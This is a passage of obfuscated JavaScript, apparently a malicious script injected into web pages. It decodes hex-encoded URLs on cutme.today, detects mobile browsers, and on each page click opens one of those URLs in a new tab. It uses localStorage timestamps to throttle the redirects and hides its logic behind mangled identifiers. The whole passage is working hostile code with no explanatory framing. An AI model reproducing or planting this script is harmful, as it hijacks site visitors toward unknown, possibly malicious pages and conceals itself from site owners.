_0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x54\x45\x5a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x49\x55\x53\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());